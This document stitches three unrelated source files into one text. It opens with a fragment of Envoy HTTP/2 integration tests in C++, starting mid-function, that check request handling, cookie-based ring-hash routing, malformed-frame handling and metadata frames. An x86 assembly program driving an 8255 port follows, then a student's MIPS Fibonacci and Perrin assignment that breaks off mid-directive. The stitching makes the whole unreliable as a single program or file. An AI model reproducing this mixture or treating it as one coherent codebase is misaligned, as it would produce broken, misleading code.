codec_client_->startRequest(Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}); encoder1 = &encoder_decoder.first; auto response1 = std::move(encoder_decoder.second); ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection1)); ASSERT_TRUE(fake_upstream_connection1->waitForNewStream(*dispatcher_, upstream_request1)); // Start request 2 auto encoder_decoder2 = codec_client_->startRequest(Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}); encoder2 = &encoder_decoder2.first; auto response2 = std::move(encoder_decoder2.second); ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection2)); ASSERT_TRUE(fake_upstream_connection2->waitForNewStream(*dispatcher_, upstream_request2)); // Finish request 1 codec_client_->sendData(*encoder1, request1_bytes, true); ASSERT_TRUE(upstream_request1->waitForEndStream(*dispatcher_)); // Finish request 2 codec_client_->sendData(*encoder2, request2_bytes, true); ASSERT_TRUE(upstream_request2->waitForEndStream(*dispatcher_)); // Respond to request 2 upstream_request2->encodeHeaders(Http::TestResponseHeaderMapImpl{{":status", "200"}}, false); upstream_request2->encodeData(request2_bytes, true); ASSERT_TRUE(response2->waitForEndStream()); EXPECT_TRUE(upstream_request2->complete()); EXPECT_EQ(request2_bytes, upstream_request2->bodyLength()); EXPECT_TRUE(response2->complete()); EXPECT_EQ("200", response2->headers().getStatusValue()); EXPECT_EQ(request2_bytes, response2->body().size()); // Respond to request 1 upstream_request1->encodeHeaders(Http::TestResponseHeaderMapImpl{{":status", "200"}}, false); upstream_request1->encodeData(request2_bytes, true); ASSERT_TRUE(response1->waitForEndStream()); EXPECT_TRUE(upstream_request1->complete()); EXPECT_EQ(request1_bytes, upstream_request1->bodyLength()); EXPECT_TRUE(response1->complete()); EXPECT_EQ("200", response1->headers().getStatusValue()); EXPECT_EQ(request2_bytes, response1->body().size()); // Cleanup both downstream and upstream ASSERT_TRUE(fake_upstream_connection1->close()); ASSERT_TRUE(fake_upstream_connection1->waitForDisconnect()); ASSERT_TRUE(fake_upstream_connection2->close()); ASSERT_TRUE(fake_upstream_connection2->waitForDisconnect()); codec_client_->close(); } TEST_P(Http2IntegrationTest, SimultaneousRequest) { simultaneousRequest(1024, 512); } TEST_P(Http2IntegrationTest, SimultaneousRequestWithBufferLimits) { config_helper_.setBufferLimits(1024, 1024); // Set buffer limits upstream and downstream. simultaneousRequest(1024 * 32, 1024 * 16); } // Test downstream connection delayed close processing. TEST_P(Http2IntegrationTest, DelayedCloseAfterBadFrame) { EXCLUDE_DOWNSTREAM_HTTP3; // Needs HTTP/3 "bad frame" equivalent. config_helper_.addConfigModifier( [](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) { hcm.mutable_delayed_close_timeout()->set_nanos(1000 * 1000); }); initialize(); std::string response; auto connection = createConnectionDriver( lookupPort("http"), "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\nhelloworldcauseanerror", [&](Network::ClientConnection& connection, const Buffer::Instance& data) -> void { response.append(data.toString()); connection.dispatcher().exit(); }); connection->run(); EXPECT_THAT(response, HasSubstr("SETTINGS expected")); // Due to the multiple dispatchers involved (one for the RawConnectionDriver and another for the // Envoy server), it's possible the delayed close timer could fire and close the server socket // prior to the data callback above firing. Therefore, we may either still be connected, or have // received a remote close. if (connection->lastConnectionEvent() == Network::ConnectionEvent::Connected) { connection->run(); } EXPECT_EQ(connection->lastConnectionEvent(), Network::ConnectionEvent::RemoteClose); EXPECT_EQ(test_server_->counter("http.config_test.downstream_cx_delayed_close_timeout")->value(), 1); } // Test disablement of delayed close processing on downstream connections. TEST_P(Http2IntegrationTest, DelayedCloseDisabled) { EXCLUDE_DOWNSTREAM_HTTP3; // Needs HTTP/3 "bad frame" equivalent. config_helper_.addConfigModifier( [](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) { hcm.mutable_delayed_close_timeout()->set_seconds(0); }); initialize(); std::string response; auto connection = createConnectionDriver( lookupPort("http"), "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\nhelloworldcauseanerror", [&](Network::ClientConnection& connection, const Buffer::Instance& data) -> void { response.append(data.toString()); connection.dispatcher().exit(); }); connection->run(); EXPECT_THAT(response, HasSubstr("SETTINGS expected")); // Due to the multiple dispatchers involved (one for the RawConnectionDriver and another for the // Envoy server), it's possible for the 'connection' to receive the data and exit the dispatcher // prior to the FIN being received from the server. if (connection->lastConnectionEvent() == Network::ConnectionEvent::Connected) { connection->run(); } EXPECT_EQ(connection->lastConnectionEvent(), Network::ConnectionEvent::RemoteClose); EXPECT_EQ(test_server_->counter("http.config_test.downstream_cx_delayed_close_timeout")->value(), 0); } TEST_P(Http2IntegrationTest, PauseAndResume) { config_helper_.addFilter(R"EOF( name: stop-iteration-and-continue-filter typed_config: "@type": type.googleapis.com/test.integration.filters.StopAndContinueConfig )EOF"); initialize(); // Send a request with a bit of data, to trigger the filter pausing. codec_client_ = makeHttpConnection(lookupPort("http")); auto encoder_decoder = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder.first; codec_client_->sendData(*request_encoder_, 1, false); auto response = std::move(encoder_decoder.second); ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection_)); ASSERT_TRUE(fake_upstream_connection_->waitForNewStream(*dispatcher_, upstream_request_)); ASSERT_TRUE(upstream_request_->waitForHeadersComplete()); // Now send the final data frame and make sure it gets proxied. codec_client_->sendData(*request_encoder_, 0, true); ASSERT_TRUE(upstream_request_->waitForEndStream(*dispatcher_)); upstream_request_->encodeHeaders(default_response_headers_, false); response->waitForHeaders(); upstream_request_->encodeData(0, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); } TEST_P(Http2IntegrationTest, PauseAndResumeHeadersOnly) { config_helper_.addFilter(R"EOF( name: stop-iteration-and-continue-filter typed_config: "@type": type.googleapis.com/test.integration.filters.StopAndContinueConfig )EOF"); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto response = codec_client_->makeHeaderOnlyRequest(default_request_headers_); ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection_)); ASSERT_TRUE(fake_upstream_connection_->waitForNewStream(*dispatcher_, upstream_request_)); ASSERT_TRUE(upstream_request_->waitForEndStream(*dispatcher_)); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); } // Verify the case when we have large pending data with empty trailers. It should not introduce // stack-overflow (on ASan build). This is a regression test for // https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=24714. TEST_P(Http2IntegrationTest, EmptyTrailers) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto encoder_decoder = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder.first; auto response = std::move(encoder_decoder.second); codec_client_->sendData(*request_encoder_, 100000, false); Http::TestRequestTrailerMapImpl request_trailers; codec_client_->sendTrailers(*request_encoder_, request_trailers); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); } Http2RingHashIntegrationTest::Http2RingHashIntegrationTest() { config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) -> void { auto* cluster = bootstrap.mutable_static_resources()->mutable_clusters(0); cluster->clear_load_assignment(); cluster->mutable_load_assignment()->add_endpoints(); cluster->mutable_load_assignment()->set_cluster_name(cluster->name()); cluster->set_lb_policy(envoy::config::cluster::v3::Cluster::RING_HASH); for (int i = 0; i < num_upstreams_; i++) { auto* socket = cluster->mutable_load_assignment() ->mutable_endpoints(0) ->add_lb_endpoints() ->mutable_endpoint() ->mutable_address() ->mutable_socket_address(); socket->set_address(Network::Test::getLoopbackAddressString(version_)); } }); } Http2RingHashIntegrationTest::~Http2RingHashIntegrationTest() { if (codec_client_) { codec_client_->close(); codec_client_ = nullptr; } for (auto& fake_upstream_connection : fake_upstream_connections_) { AssertionResult result = fake_upstream_connection->close(); RELEASE_ASSERT(result, result.message()); result = fake_upstream_connection->waitForDisconnect(); RELEASE_ASSERT(result, result.message()); } } void Http2RingHashIntegrationTest::createUpstreams() { for (int i = 0; i < num_upstreams_; i++) { addFakeUpstream(Http::CodecType::HTTP1); } } INSTANTIATE_TEST_SUITE_P(IpVersions, Http2RingHashIntegrationTest, testing::ValuesIn(HttpProtocolIntegrationTest::getProtocolTestParams( {Http::CodecType::HTTP2}, {Http::CodecType::HTTP1})), HttpProtocolIntegrationTest::protocolTestParamsToString); INSTANTIATE_TEST_SUITE_P(IpVersions, Http2MetadataIntegrationTest, testing::ValuesIn(HttpProtocolIntegrationTest::getProtocolTestParams( {Http::CodecType::HTTP2}, {Http::CodecType::HTTP2})), HttpProtocolIntegrationTest::protocolTestParamsToString); void Http2RingHashIntegrationTest::sendMultipleRequests( int request_bytes, Http::TestRequestHeaderMapImpl headers, std::function<void(IntegrationStreamDecoder&)> cb) { TestRandomGenerator rand; const uint32_t num_requests = 50; std::vector<Http::RequestEncoder*> encoders; std::vector<IntegrationStreamDecoderPtr> responses; std::vector<FakeStreamPtr> upstream_requests; initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); for (uint32_t i = 0; i < num_requests; ++i) { auto encoder_decoder = codec_client_->startRequest(headers); encoders.push_back(&encoder_decoder.first); responses.push_back(std::move(encoder_decoder.second)); codec_client_->sendData(*encoders[i], request_bytes, true); } for (uint32_t i = 0; i < num_requests; ++i) { FakeHttpConnectionPtr fake_upstream_connection; ASSERT_TRUE(FakeUpstream::waitForHttpConnection(*dispatcher_, fake_upstreams_, fake_upstream_connection)); // As data and streams are interwoven, make sure waitForNewStream() // ignores incoming data and waits for actual stream establishment. upstream_requests.emplace_back(); ASSERT_TRUE(fake_upstream_connection->waitForNewStream(*dispatcher_, upstream_requests.back())); upstream_requests.back()->setAddServedByHeader(true); fake_upstream_connections_.push_back(std::move(fake_upstream_connection)); } for (uint32_t i = 0; i < num_requests; ++i) { ASSERT_TRUE(upstream_requests[i]->waitForEndStream(*dispatcher_)); upstream_requests[i]->encodeHeaders(Http::TestResponseHeaderMapImpl{{":status", "200"}}, false); upstream_requests[i]->encodeData(rand.random() % (1024 * 2), true); } for (uint32_t i = 0; i < num_requests; ++i) { ASSERT_TRUE(responses[i]->waitForEndStream()); EXPECT_TRUE(upstream_requests[i]->complete()); EXPECT_EQ(request_bytes, upstream_requests[i]->bodyLength()); EXPECT_TRUE(responses[i]->complete()); cb(*responses[i]); } } TEST_P(Http2RingHashIntegrationTest, CookieRoutingNoCookieNoTtl) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { auto* hash_policy = hcm.mutable_route_config() ->mutable_virtual_hosts(0) ->mutable_routes(0) ->mutable_route() ->add_hash_policy(); auto* cookie = hash_policy->mutable_cookie(); cookie->set_name("foo"); }); // This test is non-deterministic, so make it extremely unlikely that not all // upstreams get hit. num_upstreams_ = 2; std::set<std::string> served_by; sendMultipleRequests( 1024, Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}, [&](IntegrationStreamDecoder& response) { EXPECT_EQ("200", response.headers().getStatusValue()); EXPECT_TRUE(response.headers().get(Http::Headers::get().SetCookie).empty()); served_by.insert(std::string(response.headers() .get(Http::LowerCaseString("x-served-by"))[0] ->value() .getStringView())); }); EXPECT_EQ(served_by.size(), num_upstreams_); } TEST_P(Http2RingHashIntegrationTest, CookieRoutingNoCookieWithNonzeroTtlSet) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { auto* hash_policy = hcm.mutable_route_config() ->mutable_virtual_hosts(0) ->mutable_routes(0) ->mutable_route() ->add_hash_policy(); auto* cookie = hash_policy->mutable_cookie(); cookie->set_name("foo"); cookie->mutable_ttl()->set_seconds(15); }); std::set<std::string> set_cookies; sendMultipleRequests( 1024, Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}, [&](IntegrationStreamDecoder& response) { EXPECT_EQ("200", response.headers().getStatusValue()); std::string value( response.headers().get(Http::Headers::get().SetCookie)[0]->value().getStringView()); set_cookies.insert(value); EXPECT_THAT(value, MatchesRegex("foo=.*; Max-Age=15; HttpOnly")); }); EXPECT_EQ(set_cookies.size(), 1); } TEST_P(Http2RingHashIntegrationTest, CookieRoutingNoCookieWithZeroTtlSet) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { auto* hash_policy = hcm.mutable_route_config() ->mutable_virtual_hosts(0) ->mutable_routes(0) ->mutable_route() ->add_hash_policy(); auto* cookie = hash_policy->mutable_cookie(); cookie->set_name("foo"); cookie->mutable_ttl(); }); std::set<std::string> set_cookies; sendMultipleRequests( 1024, Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}, [&](IntegrationStreamDecoder& response) { EXPECT_EQ("200", response.headers().getStatusValue()); std::string value( response.headers().get(Http::Headers::get().SetCookie)[0]->value().getStringView()); set_cookies.insert(value); EXPECT_THAT(value, MatchesRegex("^foo=.*$")); }); EXPECT_EQ(set_cookies.size(), 1); } TEST_P(Http2RingHashIntegrationTest, CookieRoutingWithCookieNoTtl) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { auto* hash_policy = hcm.mutable_route_config() ->mutable_virtual_hosts(0) ->mutable_routes(0) ->mutable_route() ->add_hash_policy(); auto* cookie = hash_policy->mutable_cookie(); cookie->set_name("foo"); }); std::set<std::string> served_by; sendMultipleRequests( 1024, Http::TestRequestHeaderMapImpl{{":method", "POST"}, {"cookie", "foo=bar"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}, [&](IntegrationStreamDecoder& response) { EXPECT_EQ("200", response.headers().getStatusValue()); EXPECT_TRUE(response.headers().get(Http::Headers::get().SetCookie).empty()); served_by.insert(std::string(response.headers() .get(Http::LowerCaseString("x-served-by"))[0] ->value() .getStringView())); }); EXPECT_EQ(served_by.size(), 1); } TEST_P(Http2RingHashIntegrationTest, CookieRoutingWithCookieWithTtlSet) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { auto* hash_policy = hcm.mutable_route_config() ->mutable_virtual_hosts(0) ->mutable_routes(0) ->mutable_route() ->add_hash_policy(); auto* cookie = hash_policy->mutable_cookie(); cookie->set_name("foo"); cookie->mutable_ttl()->set_seconds(15); }); std::set<std::string> served_by; sendMultipleRequests( 1024, Http::TestRequestHeaderMapImpl{{":method", "POST"}, {"cookie", "foo=bar"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}, [&](IntegrationStreamDecoder& response) { EXPECT_EQ("200", response.headers().getStatusValue()); EXPECT_TRUE(response.headers().get(Http::Headers::get().SetCookie).empty()); served_by.insert(std::string(response.headers() .get(Http::LowerCaseString("x-served-by"))[0] ->value() .getStringView())); }); EXPECT_EQ(served_by.size(), 1); } class Http2FrameIntegrationTest : public testing::TestWithParam<Network::Address::IpVersion>, public Http2RawFrameIntegrationTest { public: Http2FrameIntegrationTest() : Http2RawFrameIntegrationTest(GetParam()) {} }; // Regression test. TEST_P(Http2FrameIntegrationTest, SetDetailsTwice) { autonomous_upstream_ = true; useAccessLog("%RESPONSE_FLAGS% %RESPONSE_CODE_DETAILS%"); beginSession(); // Send two concatenated frames, the first with too many headers, and the second an invalid frame // (push_promise) std::string bad_frame = "00006d0104000000014083a8749783ee3a3fbebebebebebebebebebebebebebebebebebebebebebebebebebebebe" "bebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebe" "bebebebebebebebebebebebebebebebebebebebebebebebebebe0001010500000000018800a065"; Http2Frame request = Http2Frame::makeGenericFrameFromHexDump(bad_frame); sendFrame(request); tcp_client_->close(); // Expect that the details for the first frame are kept. EXPECT_THAT(waitForAccessLog(access_log_name_), HasSubstr("too_many_headers")); } INSTANTIATE_TEST_SUITE_P(IpVersions, Http2FrameIntegrationTest, testing::ValuesIn(TestEnvironment::getIpVersionsForTest()), TestUtility::ipTestParamsToString); // Tests sending an empty metadata map from downstream. TEST_P(Http2FrameIntegrationTest, DownstreamSendingEmptyMetadata) { // Allow metadata usage. config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) -> void { RELEASE_ASSERT(bootstrap.mutable_static_resources()->clusters_size() >= 1, ""); ConfigHelper::HttpProtocolOptions protocol_options; protocol_options.mutable_explicit_http_config() ->mutable_http2_protocol_options() ->set_allow_metadata(true); ConfigHelper::setProtocolOptions(*bootstrap.mutable_static_resources()->mutable_clusters(0), protocol_options); }); config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { hcm.mutable_http2_protocol_options()->set_allow_metadata(true); }); // This test uses an Http2Frame and not the encoder's encodeMetadata method, // because encodeMetadata fails when an empty metadata map is sent. beginSession(); FakeHttpConnectionPtr fake_upstream_connection; FakeStreamPtr fake_upstream_request; const uint32_t client_stream_idx = 1; // Send request. const Http2Frame request = Http2Frame::makePostRequest(client_stream_idx, "host", "/path/to/long/url"); sendFrame(request); ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->waitForNewStream(*dispatcher_, fake_upstream_request)); // Send metadata frame with empty metadata map. const Http::MetadataMap empty_metadata_map; const Http2Frame empty_metadata_map_frame = Http2Frame::makeMetadataFrameFromMetadataMap( client_stream_idx, empty_metadata_map, Http2Frame::MetadataFlags::EndMetadata); sendFrame(empty_metadata_map_frame); // Send an empty data frame to close the stream. const Http2Frame empty_data_frame = Http2Frame::makeEmptyDataFrame(client_stream_idx, Http2Frame::DataFlags::EndStream); sendFrame(empty_data_frame); // Upstream sends a reply. ASSERT_TRUE(fake_upstream_request->waitForEndStream(*dispatcher_)); const Http::TestResponseHeaderMapImpl response_headers{{":status", "200"}}; fake_upstream_request->encodeHeaders(response_headers, true); // Make sure that a response from upstream is received by the client, and // close the connection. const auto response = readFrame(); EXPECT_EQ(Http2Frame::Type::Headers, response.type()); EXPECT_EQ(Http2Frame::ResponseStatus::Ok, response.responseStatus()); EXPECT_EQ(1, test_server_->counter("http2.metadata_empty_frames")->value()); // Cleanup. tcp_client_->close(); } // Tests that an empty metadata map from upstream is ignored. TEST_P(Http2MetadataIntegrationTest, UpstreamSendingEmptyMetadata) { initialize(); // Send a request and make sure an upstream connection is established. codec_client_ = makeHttpConnection(lookupPort("http")); auto response = codec_client_->makeHeaderOnlyRequest(default_request_headers_); waitForNextUpstreamRequest(); auto* upstream = fake_upstreams_.front().get(); // Send response headers. upstream_request_->encodeHeaders(default_response_headers_, false); // Send an empty metadata map back from upstream. const Http::MetadataMap empty_metadata_map; const Http2Frame empty_metadata_frame = Http2Frame::makeMetadataFrameFromMetadataMap( 1, empty_metadata_map, Http2Frame::MetadataFlags::EndMetadata); ASSERT_TRUE(upstream->rawWriteConnection( 0, std::string(empty_metadata_frame.begin(), empty_metadata_frame.end()))); // Send an empty data frame after the metadata frame to end the stream. upstream_request_->encodeData(0, true); // Verifies that no metadata was received by the client. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(0, response->metadataMapsDecodedCount()); EXPECT_EQ(1, test_server_->counter("cluster.cluster_0.http2.metadata_empty_frames")->value()); } // Tests upstream sending a metadata frame after ending a stream. TEST_P(Http2MetadataIntegrationTest, UpstreamMetadataAfterEndStream) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends the first request. auto encoder_decoder = codec_client_->startRequest(default_request_headers_); auto response = std::move(encoder_decoder.second); // Wait for upstream to receive the request ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection_)); ASSERT_TRUE(fake_upstream_connection_->waitForNewStream(*dispatcher_, upstream_request_)); ASSERT_TRUE(upstream_request_->waitForHeadersComplete()); // Upstream sends headers and ends stream. const Http::TestResponseHeaderMapImpl response_headers{{":status", "200"}}; upstream_request_->encodeHeaders(response_headers, true); // Upstream sends metadata. const Http::MetadataMap response_metadata_map = {{"resp_key1", "resp_value1"}}; Http::MetadataMapPtr metadata_map_ptr = std::make_unique<Http::MetadataMap>(response_metadata_map); Http::MetadataMapVector metadata_map_vector; metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); // Cleanup. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(fake_upstream_connection_->close()); ASSERT_TRUE(response->complete()); EXPECT_EQ("200", response->headers().getStatusValue()); } static std::string on_local_reply_filter = R"EOF( name: on-local-reply-filter typed_config: "@type": type.googleapis.com/google.protobuf.Empty )EOF"; TEST_P(Http2IntegrationTest, OnLocalReply) { config_helper_.addFilter(on_local_reply_filter); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // The filter will send a local reply when receiving headers, the client // should get a complete response. { auto response = codec_client_->makeHeaderOnlyRequest(default_request_headers_); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ("original_reply", response->body()); } // The filter will send a local reply when receiving headers, and interrupt // that with a second reply sent from the encoder chain. The client will see // the second response. { default_request_headers_.addCopy("dual-local-reply", "yes"); auto response = codec_client_->makeHeaderOnlyRequest(default_request_headers_); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ("second_reply", response->body()); } // The filter will send a local reply when receiving headers and reset the // stream onLocalReply. The client will get a reset and no response even if // dual local replies are on (from the prior request). { default_request_headers_.addCopy("reset", "yes"); auto response = codec_client_->makeHeaderOnlyRequest(default_request_headers_); ASSERT_TRUE(response->waitForReset()); ASSERT_FALSE(response->complete()); } } } // namespace Envoy
INITDS MACRO MOV AX,@DATA ;Initialization of data segment MOV DS,AX ;(to access data) ENDM INIT8255 MACRO MOV AL,CW ;Initialization of 8255 using control word MOV DX,CR ; by passing 82h to control reg. OUT DX,AL ; (to make port A as output) ENDM OUTPA MACRO ; one is enough MOV DX,PA OUT DX,AL ENDM EXIT MACRO MOV AH,4CH ;Terminating the program INT 21H ENDM .MODEL SMALL .STACK .DATA PA EQU 1190H ;one is enough CR EQU 1193H CW DB 82H TABLE DB 80H,96H,0ABH,0C0H,0D2H,0E2H,0EEH,0F8H,0FEH,0FFH ;+ve 1st half DB 0FEH,0F8H,0EEH,0E2H,0D2H,0C0H,0ABH,96H,80H ;+ve 2nd half DB 80H,80H,80H,80H,80H,80H,80H,80H,80H ; all zeros (T-OFF) DB 80H,80H,80H,80H,80H,80H,80H,80H,80H ; all zeros (T-OFF) MSG DB 10,13,"PRESS ANY KEY TO EXIT $" .CODE INITDS INIT8255 LEA DX,MSG MOV AH,9 INT 21H ; or MOV CX,25H START: MOV CX,37 ;count value is taken 37 bcz the table contains 37 values LEA SI,TABLE ; table address is loaded to SI BACK: MOV AL,[SI] ; the contents of SI is moved to AL i.e. single value of table is moved OUTPA ;moved value is sent to hardware module through PORT A CALL DELAY INC SI ; SI is pointed to the next value of table LOOP BACK ; loop repeats until all the contents of table is moved (till CX becomes 0) MOV AH,1 INT 16H ; checks if any key is pressed in keyboard. If you JZ START haven’t, then go to START EXIT ; if you press any key, just call exit macro DELAY PROC MOV BX,0FFFH ; NOTE: single loop delay is enough L2: DEC BX JNZ L2 RET DELAY ENDP END
# Luis Maya # CS 218 Section #1002 # CS 218, MIPS Assignment #4 # Write a simple assembly language program to # compute the Fibonacci and Perrin Sequences. ##################################################################### # data segment .data # ----- # Constants MIN = 3 MAX = 45 # ----- # Local variables for main. hdr: .ascii "\nMIPS Assignment #4\n" .asciiz "Fibonacci and Perrin Numbers Program" entNpmt: .asciiz "\n\n\nEnter N (3-45, 0 to terminate): " n: .word 0 newLine: .asciiz "\n" doneMsg: .asciiz "\n\nGame Over, thank you for playing.\n" # ----- # Local variables for getNumber() function. msg0: .asciiz "\nThis should be quick.\n" msg1: .asciiz "\nThis is going to take a while (n>20).\n" msg2: .asciiz "\nThis is going to take a long time (n>30).\n" msg3: .asciiz "\nThis going to take a really long time (n>35).\n" msg4: .asciiz "\nThis is going to take a very long time (> 30 minutes).\n" errMsg: .asciiz "\nError, value of range. Please re-enter.\n" # ----- # Local variables for prtNumber() function. nMsg: .asciiz "\nnum = " fMsg: .asciiz " fibonacci = " pMsg: .asciiz " perrin = " # ----- # Local variables for prtBlanks() routine. space: .asciiz " " ##################################################################### # text/code segment .text .globl main .ent main main: # ----- # Display header. la $a0, hdr li $v0, 4 syscall # print header # ----- # Read N (including error checking and display of message). doAgain: jal getNumber sw $v0, n beqz $v0, allDone # ----- # Main loop to generate and display fibonacci and perrin numbers. move $s0, $zero lw $s1, n loop: move $a0, $s0 # get fibonacci(n) jal fibonacci move $s2, $v0 move $a0, $s0 # get perrin(n) jal perrin move $s3, $v0 move $a0, $s0 # print output line move $a1, $s2 move $a2, $s3 jal prtLine add $s0, $s0, 1 # next loop? ble $s0, $s1, loop j doAgain # ----- # Done, terminate program. allDone: la $a0, doneMsg li $v0, 4 syscall # print header li $v0, 10 syscall # au revoir... .end main ##################################################################### # Get the N value from the user. # Peform appropriate error checking and display status message. # ----- # Arguments: # none # Returns: # N value ($v0) # YOUR CODE GOES HERE .globl getNumber .ent getNumber getNumber: sub $sp, $sp, 4 sw $s0, 0($sp) # Push $s0 readStart: la $a0, entNpmt # Print prompt to ask for number li $v0, 4 syscall li $v0, 5 # Call code to read in 32-bit integer syscall move $s0, $v0 # Move n value into $s0 beq $s0, 0, valid # If n == 0, jump to valid blt $s0, MIN, invalid # If n < 3, jump to invalid bgt $s0, MAX, invalid # If n > 45, jump to invalid ble $s0, 25, message1 # If n <= 25, jump to message1 blt $s0, 30, message2 # If n < 30, jump to message2 blt $s0, 35, message3 # If n < 35, jump to message3 blt $s0, 40, message4 # If n < 40, jump to message4 ble $s0, MAX, message5 # If n <= 45, jump to message5 message1: la $a0, msg0 # Print msg0 li $v0, 4 syscall b valid # Jump to valid message2: la $a0, msg1 # Print msg1 li $v0, 4 syscall b valid # Jump to valid message3: la $a0, msg2 # Print msg2 li $v0, 4 syscall b valid # Jump to valid message4: la $a0, msg3 # Print msg3 li $v0, 4 syscall b valid # Jump to valid message5: la $a0, msg4 # Print msg4 li $v0, 4 syscall b valid # Jump to valid invalid: la $a0, errMsg # Print error message li $v0, 4 syscall b readStart # Jump to readStart valid: move $v0, $s0 # Return n value lw $s0, 0($sp) # Pop $s0 add $sp, $sp, 4 jr $ra .end getNumber ##################################################################### # Display fibonacci sequence. # ----- # Arguments: # $a0 - n # Returns: # fibonacci(n) # YOUR CODE GOES HERE .globl fibonacci .ent fibonacci fibonacci: sub $sp, $sp, 12 sw $s0, 0($sp) # Push $s0 sw $s1, 4($sp) # Push $s1 sw $ra, 8($sp) # Push $ra baseCase: move $v0, $a0 # Move n value into $v0 beq $a0, 0, fibDone # If n == 0, jump to fibDone beq $a0, 1, fibDone # If n == 1, jump to fibDone fibStart: move $s0, $a0 # Save n, move into $s0 sub $a0, $a0, 2 # (n-2) stored in $a0 jal fibonacci # Call fibonacci move $s1, $v0 # Store retured value into $s1 sub $a0, $s0, 1 # (n-1) stored in $a0 jal fibonacci # Call fibonacci add $v0, $s1, $v0 # fib(n-2) + fib(n-1) stored in $v0 fibDone: lw $s0, 0($sp) # Pop $s0 lw $s1, 4($sp) # Pop $s1 lw $ra, 8($sp) # Pop $ra add $sp, $sp, 12 jr $ra .end fibonacci ##################################################################### # Display perrin sequence. # ----- # Arguments: # $a0 - n # Returns: # perrin(n) # YOUR CODE GOES HERE .globl perrin .ent perrin perrin: sub $sp, $sp, 12 sw $s0, 0($sp) # Push $s0 sw $s1, 4($sp) # Push $s1 sw $ra, 8($sp) # Push $ra baseCases: beq $a0, 0, baseZero # If n == 0, jump to baseZero beq $a0, 1, baseOne # If n == 1, jump to baseOne beq $a0, 2, baseTwo # If n == 2, jump to baseTwo perrinStart: move $s0, $a0 # Save n, move into $s0 sub $a0, $a0, 2 # (n-2) stored in $a0 jal perrin # Call perrin move $s1, $v0 # Save returned value into $s1 sub $a0, $s0, 3 # (n-3) stored in $a0 jal perrin # Call perrin add $v0, $s1, $v0 # perrin(n-2) + perrin(n-3) stored in $v0 b perrinDone # Jump to perrinDone baseZero: li $v0, 3 # Return 3 if n = 0 b perrinDone baseOne: li $v0, 0 # Return 0 if n = 1 b perrinDone baseTwo: li $v0, 2 # Return 2 if n = 2 b perrinDone perrinDone: lw $s0, 0($sp) # Pop $s0 lw $s1, 4($sp) # Pop $s1 lw $ra, 8($sp) # Pop $ra add $sp, $sp, 12 jr $ra .end perrin ##################################################################### # Print a line as per asst #4 specificiations. # ----- # Line should look like: # num = 0 fibonacci = 0 perrin = 3 # Format: # numB=BnnBBBfibonacciB=BffffffffffBBBperrinB=Bppppppp # where B = blank space # f = actual fibonacci number (123...) # p = actual perrin number (123...) # Note, num will always be 1-2 digits. # fibonacci will always b 1-10 digits. # perrin will always be 1-7 digits. # ----- # Arguments: # $a0 - N number (value) # $a1 - fibonacci number (value) # $a2 - perrin number (value) # YOUR CODE GOES HERE .globl prtLine .ent 